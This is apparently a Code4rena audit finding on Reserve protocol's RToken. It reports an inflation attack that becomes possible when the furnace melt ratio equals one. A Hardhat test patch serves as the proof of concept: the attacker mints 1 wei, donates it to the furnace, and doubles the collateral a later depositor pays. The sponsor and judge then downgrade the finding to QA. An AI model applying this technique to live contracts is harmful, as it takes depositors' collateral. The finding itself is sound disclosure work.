code-423n4 / 2023-06-reserve-findings

1 stars 0 forks source link

inflat attack in RToken when melt radio = 1 #9

Open code423n4 opened 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L131-L150

Vulnerability details

FurnaceP1.MAX_RATIO = FIX_ONE, and the check in the setRatio:

require(ratio_ <= MAX_RATIO, "invalid ratio");

It means ratio can be FIX_ONE, which means the rtoken reward will be vested after one block.

The first rtoken minter can mint only X wei rtoken and transfer it to the furnace. Then next block, the first minter mints only 1 wei rtoken again before the second minter enters. Now the basket/rToken rate will be increased by X times.

Impact

  1. Dos. If the attacker mint 1 rtoken (1e18 wei rtoken) in the first issuance. The rate will be increased by 1e18 times, which means the second investor should pay 1e18 baskets (1e36 wei baskets) for 1 rtoken. Normally it would be worth 1 quintillion usd. No one can pay for it and afford calculation error.

  2. Take manyfold collateral from the second investor. If the attacker mint 1 wei rtoken in the first issuance. And front run the next issuance with the second investor, the rate will be multiply by 2. So double collaterals will be taken away from the second investor. Although there is no immediate damage, it breaks the users' expectation and increases investment risk.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

POC test/Furnace.test.ts git patch:

diff --git a/test/Furnace.test.ts b/test/Furnace.test.ts
index 12d8da22..b8e49df2 100644
--- a/test/Furnace.test.ts
+++ b/test/Furnace.test.ts
@@ -13,6 +13,7 @@ import {
   TestIMain,
   TestIRToken,
   USDCMock,
+  BasketHandlerP1
 } from '../typechain'
 import {
   advanceBlocks,
@@ -24,7 +25,7 @@ import { Collateral, defaultFixture, Implementation, IMPLEMENTATION } from './fi
 import { makeDecayFn } from './utils/rewards'
 import snapshotGasCost from './utils/snapshotGasCost'
 import { cartesianProduct } from './utils/cases'
-import { ONE_PERIOD, ZERO_ADDRESS } from '../common/constants'
+import { MAX_UINT256, ONE_PERIOD, ZERO_ADDRESS } from '../common/constants'
 import { useEnv } from '#/utils/env'
 import { mintCollaterals } from './utils/tokens'

@@ -155,6 +156,42 @@ describe(`FurnaceP${IMPLEMENTATION} contract`, () => {
     })
   })

+  describe('C4M1', function(){
+    it('inflat attack when melt ratio = 1', async function(){
+      // set melt ratio to 1 
+      const newRatio: BigNumber = bn('1e18')
+
+      await expect(furnace.connect(owner).setRatio(newRatio))
+        .to.emit(furnace, 'RatioSet')
+        .withArgs(config.rewardRatio, newRatio)
+      // attacker issue
+      const issueAmount: BigNumber = bn('1') // only 1 wei, not 1 ether
+      const tokens = [token0, token1, token2, token3];
+      await Promise.all(tokens.map((t) => t.connect(addr1).approve(rToken.address, MAX_UINT256)))
+      await rToken.connect(addr1).issue(issueAmount)
+      // send to furnace
+      await rToken.connect(addr1).transfer(furnace.address, issueAmount)
+      await setNextBlockTimestamp(Number(await getLatestBlockTimestamp()) + Number(ONE_PERIOD))
+      // attacker issue again
+      await rToken.connect(addr1).issue(bn('1'));
+
+      // victim issue
+      const victimIssueAmount: BigNumber = bn('1e18')
+      const beforeToken0Amount = await token0.callStatic.balanceOf(addr2.address);
+      
+      // approve max
+      await Promise.all(tokens.map((t) => t.connect(addr2).approve(rToken.address, MAX_UINT256)))
+      await rToken.connect(addr2).issue(victimIssueAmount)
+      const afterToken0Amount = await token0.callStatic.balanceOf(addr2.address);
+      const consum = beforeToken0Amount.sub(afterToken0Amount);
+      console.log("Actual consumption",consum.toString());
+      const bh = <BasketHandlerP1>await ethers.getContractAt('BasketHandlerP1', await main.basketHandler())
+      const token0PerBU = await bh.callStatic.quantity(token0.address);
+      console.log("Original need token0", token0PerBU.toString());
+      expect(consum).to.equal(token0PerBU.mul(2))
+    })
+  })
+
   describe('Do Melt', () => {
     beforeEach(async () => {
       // Approvals for issuance

run test:

PROTO_IMPL=1 npx hardhat test --grep inflat test/Furnace.test.ts

log:

  FurnaceP1 contract
    C4M1
Actual consumption 500000000000000000
Original need token0 250000000000000000

Tools Used

Manual review

Recommended Mitigation Steps

Make melt radio can't be 1 or stop melt when balance in furnace is equal to totalSupply of RToken.

Assessed type

DoS

tbrent commented 1 year ago

New MAX_RATIO is 0.01% or 1e14.

We think this is QA since requires governance to set ratio to 1e18.

c4-sponsor commented 1 year ago

tbrent marked the issue as disagree with severity

c4-sponsor commented 1 year ago

tbrent marked the issue as sponsor confirmed

c4-judge commented 1 year ago

0xean changed the severity to QA (Quality Assurance)